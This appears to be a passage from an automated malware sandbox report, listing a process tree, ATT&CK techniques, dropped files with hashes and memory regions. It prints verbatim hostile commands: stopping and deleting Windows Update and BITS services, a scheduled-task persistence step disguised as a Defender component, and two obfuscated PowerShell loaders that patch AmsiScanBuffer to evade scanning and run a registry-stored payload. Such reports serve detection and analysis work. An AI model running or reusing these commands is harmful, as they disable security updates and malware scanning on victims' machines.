  - Suspicious use of AdjustPrivilegeToken
  PID:3432
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4256
- - C:\Windows\System32\sc.exe
    sc stop UsoSvc
    3⤵
    - Launches sc.exe
    PID:4020
- - C:\Windows\System32\sc.exe
    sc stop WaaSMedicSvc
    3⤵
    - Launches sc.exe
    PID:1584
- - C:\Windows\System32\sc.exe
    sc stop wuauserv
    3⤵
    - Launches sc.exe
    PID:3508
- - C:\Windows\System32\sc.exe
    sc stop bits
    3⤵
    - Launches sc.exe
    PID:1332
- - C:\Windows\System32\sc.exe
    sc stop dosvc
    3⤵
    - Launches sc.exe
    PID:204
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f
    3⤵
    PID:4836
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f
    3⤵
    PID:3540
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f
    3⤵
    - Modifies security service
    PID:4400
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f
    3⤵
    PID:3408
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
    3⤵
    PID:520
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#thpqznhs#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'WindowsDefenderSmartScreenQC' /tr '''C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'WindowsDefenderSmartScreenQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefenderSmartScreenQC" /t REG_SZ /f /d 'C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe' }
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3000
- C:\Windows\System32\dialer.exe
  C:\Windows\System32\dialer.exe
  2⤵
  PID:3664

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 460 -p 3540 -ip 3540
1⤵
PID:3508

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 476 -p 4808 -ip 4808
1⤵
PID:1532

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE "function Local:hALjkpBCACGG{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$oNKdosTtMSHKYF,[Parameter(Position=1)][Type]$gZwHzGlnwk)$tebkMqgpdgf=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+''+[Char](101)+''+'f'+''+'l'+'e'+'c'+''+[Char](116)+'e'+[Char](100)+''+[Char](68)+'ele'+[Char](103)+''+'a'+''+'t'+''+'e'+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+''+[Char](110)+'M'+'e'+''+[Char](109)+''+[Char](111)+''+'r'+''+[Char](121)+'M'+[Char](111)+'d'+[Char](117)+'l'+[Char](101)+'',$False).DefineType('MyD'+'e'+''+[Char](108)+''+[Char](101)+''+[Char](103)+''+[Char](97)+'t'+[Char](101)+''+[Char](84)+'ype',''+'C'+''+[Char](108)+''+[Char](97)+''+'s'+'s'+','+''+[Char](80)+'u'+'b'+'l'+'i'+'c,'+[Char](83)+'e'+'a'+''+'l'+'ed'+[Char](44)+''+'A'+'n'+[Char](115)+''+'i'+''+'C'+'la'+'s'+''+[Char](115)+''+[Char](44)+''+'A'+''+[Char](117)+''+[Char](116)+''+'o'+''+[Char](67)+''+[Char](108)+''+'a'+''+[Char](115)+'s',[MulticastDelegate]);$tebkMqgpdgf.DefineConstructor(''+[Char](82)+''+[Char](84)+''+[Char](83)+'p'+[Char](101)+''+'c'+''+[Char](105)+''+[Char](97)+''+[Char](108)+''+[Char](78)+'a'+[Char](109)+'e'+','+''+'H'+''+'i'+'d'+'e'+''+[Char](66)+''+[Char](121)+''+[Char](83)+''+'i'+''+[Char](103)+''+','+''+[Char](80)+''+[Char](117)+''+[Char](98)+''+[Char](108)+''+[Char](105)+'c',[Reflection.CallingConventions]::Standard,$oNKdosTtMSHKYF).SetImplementationFlags(''+'R'+''+'u'+''+[Char](110)+''+[Char](116)+''+[Char](105)+'m'+[Char](101)+''+','+'M'+[Char](97)+''+'n'+''+[Char](97)+''+[Char](103)+''+[Char](101)+''+'d'+'');$tebkMqgpdgf.DefineMethod(''+[Char](73)+''+[Char](110)+''+'v'+''+[Char](111)+''+[Char](107)+''+[Char](101)+'','Pub'+'l'+''+'i'+''+'c'+''+[Char](44)+''+[Char](72)+''+[Char](105)+''+[Char](100)+''+[Char](101)+'B'+[Char](121)+''+[Char](83)+'i'+[Char](103)+''+[Char](44)+''+'N'+'e'+[Char](119)+'Slot'+','+''+'V'+''+'i'+''+[Char](114)+''+[Char](116)+''+[Char](117)+''+[Char](97)+''+[Char](108)+'',$gZwHzGlnwk,$oNKdosTtMSHKYF).SetImplementationFlags(''+'R'+''+[Char](117)+''+[Char](110)+''+'t'+''+[Char](105)+''+[Char](109)+''+[Char](101)+''+[Char](44)+''+[Char](77)+''+[Char](97)+''+'n'+''+'a'+''+'g'+'e'+[Char](100)+'');Write-Output $tebkMqgpdgf.CreateType();}$sPOCwbmDpIBsH=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+''+[Char](121)+''+'s'+''+[Char](116)+''+[Char](101)+'m'+[Char](46)+''+'d'+'l'+[Char](108)+'')}).GetType(''+[Char](77)+''+[Char](105)+'cr'+[Char](111)+''+'s'+'o'+'f'+'t'+'.'+'Win'+[Char](51)+''+[Char](50)+''+'.'+''+'U'+''+'n'+'s'+[Char](97)+''+[Char](102)+'e'+[Char](115)+'P'+[Char](79)+''+[Char](67)+''+[Char](119)+''+'b'+'m'+'D'+''+'p'+''+[Char](73)+''+[Char](66)+''+'s'+'H');$JeMqoqqykJHqcK=$sPOCwbmDpIBsH.GetMethod(''+[Char](74)+''+[Char](101)+'M'+[Char](113)+''+'o'+'q'+[Char](113)+''+'y'+''+'k'+'J'+[Char](72)+''+[Char](113)+'cK',[Reflection.BindingFlags]'P'+[Char](117)+''+[Char](98)+''+[Char](108)+''+'i'+'c'+','+''+'S'+'t'+'a'+''+[Char](116)+''+[Char](105)+''+[Char](99)+'',$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$OLOSWKWJXFHzTFuiFkS=hALjkpBCACGG @([String])([IntPtr]);$MEGrLzJVeXDCjbaAXYJCoB=hALjkpBCACGG @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$PYOMsFbAWbT=$sPOCwbmDpIBsH.GetMethod(''+[Char](71)+''+[Char](101)+''+[Char](116)+'M'+[Char](111)+''+[Char](100)+''+[Char](117)+'l'+'e'+''+'H'+''+[Char](97)+''+'n'+'d'+[Char](108)+''+[Char](101)+'').Invoke($Null,@([Object](''+[Char](107)+''+[Char](101)+''+[Char](114)+''+[Char](110)+'e'+[Char](108)+''+[Char](51)+''+[Char](50)+''+[Char](46)+''+'d'+''+[Char](108)+''+[Char](108)+'')));$dntblMtqvWTAPC=$JeMqoqqykJHqcK.Invoke($Null,@([Object]$PYOMsFbAWbT,[Object](''+[Char](76)+''+[Char](111)+''+[Char](97)+''+'d'+''+'L'+''+[Char](105)+''+[Char](98)+''+[Char](114)+''+[Char](97)+''+[Char](114)+''+[Char](121)+''+[Char](65)+'')));$xRofHXuMRimDTpCLP=$JeMqoqqykJHqcK.Invoke($Null,@([Object]$PYOMsFbAWbT,[Object](''+[Char](86)+''+'i'+''+[Char](114)+''+[Char](116)+''+[Char](117)+''+'a'+''+[Char](108)+''+[Char](80)+''+'r'+''+[Char](111)+''+[Char](116)+''+'e'+''+[Char](99)+''+'t'+'')));$njQvWTu=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($dntblMtqvWTAPC,$OLOSWKWJXFHzTFuiFkS).Invoke(''+'a'+''+'m'+''+[Char](115)+''+[Char](105)+''+'.'+''+[Char](100)+''+[Char](108)+''+[Char](108)+'');$UTUdPHaISZFMuveMN=$JeMqoqqykJHqcK.Invoke($Null,@([Object]$njQvWTu,[Object](''+'A'+''+[Char](109)+''+[Char](115)+''+[Char](105)+'S'+'c'+''+'a'+'n'+[Char](66)+''+[Char](117)+'ffe'+[Char](114)+'')));$doKHGqpimW=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($xRofHXuMRimDTpCLP,$MEGrLzJVeXDCjbaAXYJCoB).Invoke($UTUdPHaISZFMuveMN,[uint32]8,4,[ref]$doKHGqpimW);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc2,0x18,0),0,$UTUdPHaISZFMuveMN,8);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($xRofHXuMRimDTpCLP,$MEGrLzJVeXDCjbaAXYJCoB).Invoke($UTUdPHaISZFMuveMN,[uint32]8,0x20,[ref]$doKHGqpimW);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('S'+[Char](79)+''+[Char](70)+''+[Char](84)+'W'+'A'+''+'R'+''+'E'+'').GetValue(''+[Char](100)+''+'i'+''+'a'+''+[Char](108)+'er'+'s'+''+'t'+'a'+'g'+''+'e'+'r')).EntryPoint.Invoke($Null,$Null)
1⤵
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:4688

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:wRnBLbcNKGeu{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$QOoAVkltdCGyqf,[Parameter(Position=1)][Type]$dznpuXZQIa)$AHZxbegtAuG=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+''+[Char](101)+''+[Char](102)+''+'l'+''+[Char](101)+''+'c'+'te'+[Char](100)+'De'+[Char](108)+''+[Char](101)+''+[Char](103)+''+'a'+'t'+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('In'+'M'+''+[Char](101)+''+'m'+''+[Char](111)+''+[Char](114)+''+'y'+''+'M'+'odu'+'l'+''+[Char](101)+'',$False).DefineType(''+[Char](77)+'y'+'D'+''+[Char](101)+'le'+[Char](103)+''+[Char](97)+''+[Char](116)+''+[Char](101)+''+[Char](84)+''+'y'+''+'p'+''+'e'+'',''+[Char](67)+''+'l'+''+'a'+''+[Char](115)+''+[Char](115)+''+','+''+'P'+'ubl'+[Char](105)+''+[Char](99)+''+[Char](44)+''+[Char](83)+''+[Char](101)+'a'+[Char](108)+'e'+'d'+''+[Char](44)+''+[Char](65)+''+[Char](110)+''+[Char](115)+''+'i'+''+[Char](67)+''+[Char](108)+''+[Char](97)+''+'s'+''+[Char](115)+''+[Char](44)+''+[Char](65)+'u'+[Char](116)+''+[Char](111)+''+'C'+''+[Char](108)+'a'+[Char](115)+''+[Char](115)+'',[MulticastDelegate]);$AHZxbegtAuG.DefineConstructor(''+[Char](82)+'T'+[Char](83)+''+'p'+''+[Char](101)+'c'+[Char](105)+''+'a'+''+'l'+''+[Char](78)+''+[Char](97)+''+[Char](109)+''+[Char](101)+',H'+[Char](105)+''+'d'+''+'e'+''+[Char](66)+''+'y'+''+'S'+''+'i'+'g'+[Char](44)+'P'+[Char](117)+''+[Char](98)+''+[Char](108)+'i'+'c'+'',[Reflection.CallingConventions]::Standard,$QOoAVkltdCGyqf).SetImplementationFlags('R'+[Char](117)+''+[Char](110)+''+[Char](116)+''+'i'+''+'m'+''+[Char](101)+','+[Char](77)+'a'+[Char](110)+''+[Char](97)+'ge'+'d'+'');$AHZxbegtAuG.DefineMethod(''+'I'+''+'n'+''+[Char](118)+''+[Char](111)+''+[Char](107)+''+[Char](101)+'','Pub'+[Char](108)+''+'i'+''+[Char](99)+''+','+''+'H'+'i'+'d'+''+[Char](101)+''+[Char](66)+''+'y'+''+[Char](83)+''+[Char](105)+''+[Char](103)+''+[Char](44)+''+[Char](78)+'ew'+'S'+''+'l'+''+[Char](111)+'t,'+[Char](86)+''+[Char](105)+'r'+[Char](116)+''+'u'+''+[Char](97)+''+[Char](108)+'',$dznpuXZQIa,$QOoAVkltdCGyqf).SetImplementationFlags(''+'R'+''+[Char](117)+''+'n'+''+[Char](116)+'i'+[Char](109)+''+[Char](101)+','+'M'+'a'+[Char](110)+''+'a'+''+'g'+''+[Char](101)+''+'d'+'');Write-Output $AHZxbegtAuG.CreateType();}$WJEYpfFdFUUWt=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+''+[Char](121)+''+[Char](115)+''+[Char](116)+''+[Char](101)+''+'m'+''+'.'+''+[Char](100)+''+[Char](108)+''+'l'+'')}).GetType(''+[Char](77)+''+'i'+''+[Char](99)+''+[Char](114)+''+'o'+''+[Char](115)+''+[Char](111)+''+[Char](102)+'t'+[Char](46)+''+'W'+''+[Char](105)+''+[Char](110)+''+'3'+''+'2'+''+'.'+''+[Char](85)+''+[Char](110)+''+[Char](115)+''+'a'+''+'f'+''+[Char](101)+'W'+'J'+'E'+'Y'+'p'+'f'+''+[Char](70)+'dFUU'+[Char](87)+''+'t'+'');$pEbJNDgGYFrsYC=$WJEYpfFdFUUWt.GetMethod(''+'p'+''+[Char](69)+'bJN'+[Char](68)+''+'g'+''+[Char](71)+''+[Char](89)+'F'+[Char](114)+''+'s'+'Y'+[Char](67)+'',[Reflection.BindingFlags]''+[Char](80)+''+[Char](117)+''+[Char](98)+''+[Char](108)+'ic'+[Char](44)+''+[Char](83)+''+'t'+''+[Char](97)+'ti'+[Char](99)+'',$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$SzYVfqSnybUDDuFxgHB=wRnBLbcNKGeu @([String])([IntPtr]);$qwuGgkSaKmbYBqWshZXgsO=wRnBLbcNKGeu @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$ABKNXYZxeuD=$WJEYpfFdFUUWt.GetMethod(''+'G'+''+'e'+'t'+'M'+'o'+'d'+'u'+'l'+'eH'+[Char](97)+''+'n'+''+[Char](100)+''+[Char](108)+''+[Char](101)+'').Invoke($Null,@([Object](''+[Char](107)+''+'e'+''+[Char](114)+''+[Char](110)+''+[Char](101)+'l'+[Char](51)+'2'+'.'+''+[Char](100)+''+[Char](108)+''+[Char](108)+'')));$XmJtjWBeHoKRmF=$pEbJNDgGYFrsYC.Invoke($Null,@([Object]$ABKNXYZxeuD,[Object](''+[Char](76)+''+'o'+''+[Char](97)+''+[Char](100)+'L'+'i'+''+[Char](98)+''+[Char](114)+''+[Char](97)+''+[Char](114)+'y'+[Char](65)+'')));$SvFLuXnnghIhAjbrA=$pEbJNDgGYFrsYC.Invoke($Null,@([Object]$ABKNXYZxeuD,[Object](''+'V'+''+[Char](105)+''+[Char](114)+''+'t'+''+[Char](117)+''+'a'+''+[Char](108)+''+[Char](80)+''+[Char](114)+'o'+[Char](116)+''+[Char](101)+''+[Char](99)+'t')));$hSUlaXD=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($XmJtjWBeHoKRmF,$SzYVfqSnybUDDuFxgHB).Invoke(''+'a'+''+[Char](109)+''+'s'+''+'i'+'.'+'d'+''+'l'+'l');$geUOmfDzMbzfXYHQY=$pEbJNDgGYFrsYC.Invoke($Null,@([Object]$hSUlaXD,[Object](''+[Char](65)+'msi'+[Char](83)+''+'c'+''+[Char](97)+''+'n'+''+[Char](66)+'u'+'f'+''+'f'+'e'+[Char](114)+'')));$aVqYqIZYvR=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($SvFLuXnnghIhAjbrA,$qwuGgkSaKmbYBqWshZXgsO).Invoke($geUOmfDzMbzfXYHQY,[uint32]8,4,[ref]$aVqYqIZYvR);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$geUOmfDzMbzfXYHQY,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($SvFLuXnnghIhAjbrA,$qwuGgkSaKmbYBqWshZXgsO).Invoke($geUOmfDzMbzfXYHQY,[uint32]8,0x20,[ref]$aVqYqIZYvR);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+[Char](79)+'F'+'T'+''+[Char](87)+''+'A'+''+[Char](82)+''+[Char](69)+'').GetValue(''+[Char](100)+''+'i'+''+'a'+''+'l'+'e'+[Char](114)+'s'+[Char](116)+''+'a'+''+[Char](103)+'e'+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3652

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scripting

T1064

Persistence

Modify Existing Service

T1031

Privilege Escalation

Defense Evasion

Impair Defenses

T1562

Modify Registry

T1112

Scripting

T1064

Credential Access

Credentials in Files

T1081

Discovery

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Service Stop

T1489

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Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
MD5 d85ba6ff808d9e5444a4b369f5bc2730
SHA1 31aa9d96590fff6981b315e0b391b575e4c0804a
SHA512 8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
MD5 SHA1 SHA512

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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 19KB
SHA256 c643b9fe6612113270994f1d9af7c269af85044b9de9538759a04e06e825e7cf
MD5 b49183c0598347561232a624ca44dcb3
SHA1 56581521fbdff5ec387cd82b49c3343df7f5393c
SHA512 e6160fb9225b33b4ddba54dd8bd01cbdbfcd0a39eaf86bda8f3bc654935cb6ac4fef815182494caff7f8060840138d0155fa93c2d383378f2bab82238c614ade
SSDEEP 384:1sf++8/9i+RHTRnYl7B5JMgkFHo2TVK6seY+p7/PNA3So3A4X3l7FazCvrQ0gcZm:qfg9H+DJsZo2TVNxtYSiF7IzCnnLk
MD5 SHA1 SHA512 SSDEEP

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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 948B
SHA256 5e97dee013313bedacd578551a15e88ed87b381ed8f20755cb929b6358fd020a
MD5 a7ce8cefc3f798abe5abd683d0ef26dd
SHA1 b7abb625174a48db3221bf0fee4ecdbc2bd4ee1e
SHA512 c0d1821252d56e7b7d5b5d83891673f279f67638da1f454fb45e0426315cf07cc54c6df2cf77c65c11bcb3a1e4f574f76a3fb9059fde94951ba99d3de0e98d64
MD5 SHA1 SHA512

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C4Loader.exe

Path C:\Users\Admin\AppData\Local\Temp\C4Loader.exe
Size 1.4MB
SHA256 095b49a6a4f0c7535d11e071185fc0e94fb00f1b01730ca583889a70ef7ad7e0
MD5 bb86a343080f9f4696c250ef31a18d9d
SHA1 43b2193dcb1d56eac73ba88a7b461822074192d6
SHA512 24807f80547879d3131be311d738b411e335a9489bbe80649fbfd6b6265852e7e9aec461f5e5f5e4e7ea0239c145a18f9b5e91aa31888227b2b080b75a439560
SSDEEP 24576:rxLuxuLtUU+vkU14ZOcwE6uTvKNBsM+OkaEbQUv2gVbAd5k5BkACNs:rxhLtPZQE6uIv+3aE8PgrcS
MD5 SHA1 SHA512 SSDEEP

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C4Loader.exe

Path C:\Users\Admin\AppData\Local\Temp\C4Loader.exe
Size 1.4MB
SHA256 095b49a6a4f0c7535d11e071185fc0e94fb00f1b01730ca583889a70ef7ad7e0
MD5 bb86a343080f9f4696c250ef31a18d9d
SHA1 43b2193dcb1d56eac73ba88a7b461822074192d6
SHA512 24807f80547879d3131be311d738b411e335a9489bbe80649fbfd6b6265852e7e9aec461f5e5f5e4e7ea0239c145a18f9b5e91aa31888227b2b080b75a439560
SSDEEP 24576:rxLuxuLtUU+vkU14ZOcwE6uTvKNBsM+OkaEbQUv2gVbAd5k5BkACNs:rxhLtPZQE6uIv+3aE8PgrcS
MD5 SHA1 SHA512 SSDEEP

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SmartDefRun.exe

Path C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe
Size 3.7MB
SHA256 ea42fcee681ec3b06dac54d3da4b866143d68cbaa0dd0e00e7c10ae2a7c9d2aa
MD5 f5c51e7760315ad0f0238d268c03c60e
SHA1 85ebaaa9685634143a72bc82c6e7df87a78eed4c
SHA512 d3b9ac3bf5467bd25439f2d29457361ac14d1be5b060078a7ef4f78540994679f9fed245d70a4e2a6edbc37b94a042be407ad7fbbd5a95600312946ffb558f35
SSDEEP 49152:igUZan/N8cnnhzkmNraFEZPEF/4mpeD178OgxjK5j4Ga6BGnCtMPBQKChwm/Xu7M:incbnZkmxaaHFrySDZBBa50wm/e7Dt
MD5 SHA1 SHA512 SSDEEP

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SmartDefRun.exe

Path C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe
Size 3.7MB
SHA256 ea42fcee681ec3b06dac54d3da4b866143d68cbaa0dd0e00e7c10ae2a7c9d2aa
MD5 f5c51e7760315ad0f0238d268c03c60e
SHA1 85ebaaa9685634143a72bc82c6e7df87a78eed4c
SHA512 d3b9ac3bf5467bd25439f2d29457361ac14d1be5b060078a7ef4f78540994679f9fed245d70a4e2a6edbc37b94a042be407ad7fbbd5a95600312946ffb558f35
SSDEEP 49152:igUZan/N8cnnhzkmNraFEZPEF/4mpeD178OgxjK5j4Ga6BGnCtMPBQKChwm/Xu7M:incbnZkmxaaHFrySDZBBa50wm/e7Dt
MD5 SHA1 SHA512 SSDEEP

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SysApp.exe

Path C:\Users\Admin\AppData\Local\Temp\SysApp.exe
Size 1.4MB
SHA256 dd47342f809e86e447b68827dd3a1e72ea0795b71976ecd6fa242013b767b14f
MD5 b6bbab9f72c88d07b484cc339c475e75
SHA1 f06141cedf2aac3cfac6c997d99c00d8e7c5b4c1
SHA512 1ee084d4283b7359b5f261337e744adecc6a1e26a18b4d2412e6f53d2b602b5e8538112065d27a536776dedadfd0ec8a276aa977389f21f4491539753a0b9fa5
SSDEEP 24576:Y3621SZiNtNxkSJPXZi9aftdqkXO5pM7xUo1nZADHE2SDyuq5ZP+df:Y3dblkS5XZi9wdqlpMVUo1n+kbDzqbk
MD5 SHA1 SHA512 SSDEEP

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SysApp.exe

Path C:\Users\Admin\AppData\Local\Temp\SysApp.exe
Size 1.4MB
SHA256 dd47342f809e86e447b68827dd3a1e72ea0795b71976ecd6fa242013b767b14f
MD5 b6bbab9f72c88d07b484cc339c475e75
SHA1 f06141cedf2aac3cfac6c997d99c00d8e7c5b4c1
SHA512 1ee084d4283b7359b5f261337e744adecc6a1e26a18b4d2412e6f53d2b602b5e8538112065d27a536776dedadfd0ec8a276aa977389f21f4491539753a0b9fa5
SSDEEP 24576:Y3621SZiNtNxkSJPXZi9aftdqkXO5pM7xUo1nZADHE2SDyuq5ZP+df:Y3dblkS5XZi9wdqlpMVUo1n+kbDzqbk
MD5 SHA1 SHA512 SSDEEP

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new2.exe

Path C:\Users\Admin\AppData\Local\Temp\new2.exe
Size 477KB
SHA256 0f1d090c622967acfa7bde2ef5238255ce8924d5ff7bbf72661821e3d901f299
MD5 3753f9966e5b4fdc87184c1749f2bd25
SHA1 69b76e86bfb4fcf4c0eb2f5fc8b71356e9f4e756
SHA512 3283dfee96e0089873336f3c699604eb33d5c091cdf65a193d4f8e1850625823f62dc02d242290dfd10c10f127bfec26f55b6438fc9ab2c0dd5c9f7cb764e8b6
SSDEEP 12288:2QqCqj3EW3vMF42dmGB5y+4hnXOSXx2mbZhoRBK:2QqCqj3EWfMF42dUhnXnQYzmBK
MD5 SHA1 SHA512 SSDEEP

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new2.exe

Path C:\Users\Admin\AppData\Local\Temp\new2.exe
Size 477KB
SHA256 0f1d090c622967acfa7bde2ef5238255ce8924d5ff7bbf72661821e3d901f299
MD5 3753f9966e5b4fdc87184c1749f2bd25
SHA1 69b76e86bfb4fcf4c0eb2f5fc8b71356e9f4e756
SHA512 3283dfee96e0089873336f3c699604eb33d5c091cdf65a193d4f8e1850625823f62dc02d242290dfd10c10f127bfec26f55b6438fc9ab2c0dd5c9f7cb764e8b6
SSDEEP 12288:2QqCqj3EW3vMF42dmGB5y+4hnXOSXx2mbZhoRBK:2QqCqj3EWfMF42dUhnXnQYzmBK
MD5 SHA1 SHA512 SSDEEP

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memory/588-220-0x00007FF963870000-0x00007FF963880000-memory.dmp

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memory/1020-221-0x00007FF963870000-0x00007FF963880000-memory.dmp

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memory/1236-208-0x0000000002712000-0x000000000284F000-memory.dmp

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memory/1236-183-0x0000000002201000-0x0000000002705000-memory.dmp

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memory/1236-184-0x0000000002712000-0x000000000284F000-memory.dmp

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memory/1236-190-0x0000000002201000-0x0000000002705000-memory.dmp

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memory/1536-139-0x0000000000400000-0x0000000000405000-memory.dmp

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memory/1536-133-0x0000000000400000-0x0000000000405000-memory.dmp

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memory/2692-164-0x00000000002B0000-0x000000000041C000-memory.dmp

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memory/2692-168-0x0000000004C90000-0x0000000004D22000-memory.dmp

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memory/2692-171-0x0000000005AE0000-0x0000000005AEA000-memory.dmp

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memory/3000-206-0x00007FF983F00000-0x00007FF9849C1000-memory.dmp

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memory/3000-207-0x00007FF983F00000-0x00007FF9849C1000-memory.dmp

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memory/3432-191-0x0000021B9A020000-0x0000021B9A042000-memory.dmp

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memory/3432-193-0x00007FF983F00000-0x00007FF9849C1000-memory.dmp

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memory/3652-212-0x00007FF9A37F0000-0x00007FF9A39E5000-memory.dmp

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memory/3652-211-0x00007FF984770000-0x00007FF985231000-memory.dmp

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memory/3652-213-0x00007FF9A1D90000-0x00007FF9A1E4E000-memory.dmp

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memory/4204-214-0x0000000140000000-0x0000000140029000-memory.dmp

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memory/4204-217-0x0000000140000000-0x0000000140029000-memory.dmp

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memory/4204-218-0x00007FF9A37F0000-0x00007FF9A39E5000-memory.dmp

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memory/4204-219-0x00007FF9A1D90000-0x00007FF9A1E4E000-memory.dmp

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memory/4568-157-0x0000000007540000-0x0000000007562000-memory.dmp

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memory/4568-147-0x0000000006E10000-0x0000000006E42000-memory.dmp

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memory/4568-141-0x0000000002820000-0x0000000002856000-memory.dmp

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memory/4568-142-0x0000000005060000-0x0000000005688000-memory.dmp

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memory/4568-143-0x0000000004F60000-0x0000000004F82000-memory.dmp

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memory/4568-144-0x0000000005740000-0x00000000057A6000-memory.dmp

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memory/4568-145-0x00000000057B0000-0x0000000005816000-memory.dmp

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memory/4568-146-0x0000000005E90000-0x0000000005EAE000-memory.dmp

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memory/4568-148-0x0000000074D40000-0x0000000074D8C000-memory.dmp

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memory/4568-149-0x0000000006440000-0x000000000645E000-memory.dmp

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memory/4568-150-0x00000000077F0000-0x0000000007E6A000-memory.dmp

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memory/4568-151-0x00000000071B0000-0x00000000071CA000-memory.dmp

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memory/4568-152-0x0000000007220000-0x000000000722A000-memory.dmp

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memory/4568-153-0x0000000007470000-0x0000000007506000-memory.dmp

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memory/4568-158-0x0000000008420000-0x00000000089C4000-memory.dmp

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memory/4568-156-0x0000000007420000-0x0000000007428000-memory.dmp

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memory/4568-155-0x0000000007430000-0x000000000744A000-memory.dmp

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memory/4568-154-0x00000000073E0000-0x00000000073EE000-memory.dmp

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memory/4740-189-0x0000000007730000-0x0000000007C5C000-memory.dmp

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memory/4740-174-0x0000000000400000-0x0000000000420000-memory.dmp

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memory/4740-179-0x0000000005890000-0x0000000005EA8000-memory.dmp

